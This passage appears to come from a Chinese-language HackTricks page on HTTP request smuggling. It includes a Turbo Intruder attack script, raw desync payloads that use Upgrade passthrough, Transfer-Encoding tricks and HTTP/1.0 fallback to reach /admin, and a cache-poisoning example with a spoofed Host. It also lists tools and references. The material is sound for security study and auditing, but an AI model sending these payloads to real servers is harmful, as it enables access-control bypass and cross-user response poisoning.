engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Reverse-proxy parsing footguns (Pingora 2026)
一些 2026 Pingora bugs 很有用,因为它们展示了超越经典 CL.TE / TE.CL 的 desync primitives。可复用的经验是:只要一个 proxy 过早停止 parsing、对 Transfer-Encoding 的规范化方式与 backend 不同,或者对 request bodies 回退到 read-until-close,即使没有传统的 CL/TE ambiguity,你也可能获得 FE↔BE desync。
过早的 Upgrade passthrough
如果一个 reverse proxy 一看到 Upgrade header 就切换到 raw tunnel / passthrough mode,而不是等 backend 用 101 Switching Protocols 确认切换,那么你就可以在同一个 TCP stream 里 smuggle 第二个 request:
GET / HTTP/1.1
Host: target.com
Upgrade: anything
Content-Length: 0
GET /admin HTTP/1.1
Host: target.com
前端只解析第一个 request,然后把剩余内容作为原始字节转发。backend 将追加的字节解析为来自 proxy 受信任 IP 的新 request。这尤其适用于:
- 绕过 proxy ACLs、WAF rules、auth checks 和 rate limits。
- 到达仅信任 reverse proxy IP 的 internal-only endpoints。
- 在复用的 backend connections 上触发 cross-user response queue poisoning。
在审计 proxies 时,始终测试是否任何 Upgrade 值都会触发 passthrough,并验证切换是在 backend 返回 101 之前还是之后发生。
Transfer-Encoding normalization bugs + HTTP/1.0 close-delimited fallback
另一种有用的模式是:
- proxy 发现存在
Transfer-Encoding,于是移除Content-Length。 - proxy 未能正确 normalize TE。
- proxy 现在没有可识别的 framing,并在 HTTP/1.0 中回退到 close-delimited request bodies。
- backend 正确理解 TE,并将
0\r\n\r\n后的字节视为新的 request。
触发这一点的常见方式:
- 未解析逗号分隔的 TE list:
GET / HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity, chunked
Content-Length: 29
0
GET /admin HTTP/1.1
X:
- Duplicate TE headers not merged:
POST /legit HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
X:
重要的审计检查是:
- front-end 是否按照要求在
chunked作为最后一个时解析 最后一个 TE token? - 它是否使用 所有
Transfer-Encodingheaders,而不只是第一个? - 你能否强制 HTTP/1.0 触发 read-until-close body mode?
- proxy 是否曾经允许 close-delimited request bodies?这本身就是一个高价值的 desync 迹象。
这个类别从外部看通常像 CL.TE,但真正的 primitive 是:TE present –> CL stripped –> no valid framing recognized –> request body forwarded until close。
Related cache poisoning primitive: path-only cache keys
同一次 Pingora 审计还暴露了一个危险的 reverse-proxy cache anti-pattern:cache key 只 从 URI path 派生,而忽略 Host、scheme 或 port。在 multi-tenant 或 multi-vhost 部署中,不同 host 可能因此碰撞到同一个 cache entry:
GET /api/data HTTP/1.1
Host: evil.com
GET /api/data HTTP/1.1
Host: victim.com
如果两个请求映射到同一个 cache key(/api/data),一个 tenant 就可以为另一个 tenant 污染内容。如果 origin 在 redirects、CORS、HTML 或 script URLs 中反射 Host header,那么一个低价值的 Host reflection 也可能变成 cross-user stored cache poisoning。
在审查 caches 时,确认 key 至少包含:
Host/ virtual host identity- scheme(
httpvshttps),当行为不同的时候 - port,当多个 applications 共享同一个 cache namespace 时
Tools
- HTTP Hacker (Burp BApp Store) – 可视化 concatenation/framing 和底层 HTTP 行为
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action “Smuggling or pipelining?”
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: This tool is a grammar-based HTTP Fuzzer useful to find weird request smuggling discrepancies.
References
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
- Beware the false false‑positive: how to distinguish HTTP pipelining from request smuggling – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
- https://http1mustdie.com/
- Browser‑Powered Desync Attacks – https://portswigger.net/research/browser-powered-desync-attacks
- PortSwigger Academy – client‑side desync – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
- https://portswigger.net/research/http1-must-die
- https://xclow3n.github.io/post/6/
- https://github.com/cloudflare/pingora/security/advisories/GHSA-xq2h-p299-vjwv
- https://github.com/cloudflare/pingora/security/advisories/GHSA-hj7x-879w-vrp7
- https://github.com/cloudflare/pingora/security/advisories/GHSA-f93w-pcj3-rggc
Tip
学习并实践 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
浏览用于评估路线的 完整 HackTricks Training 目录(ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)。
支持 HackTricks
- 查看 订阅方案!
- 加入 💬 Discord 群组、telegram 群组,关注 X/Twitter 上的 @hacktricks_live,或查看 LinkedIn 页面 和 YouTube 频道。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR,分享 hacking 技巧。


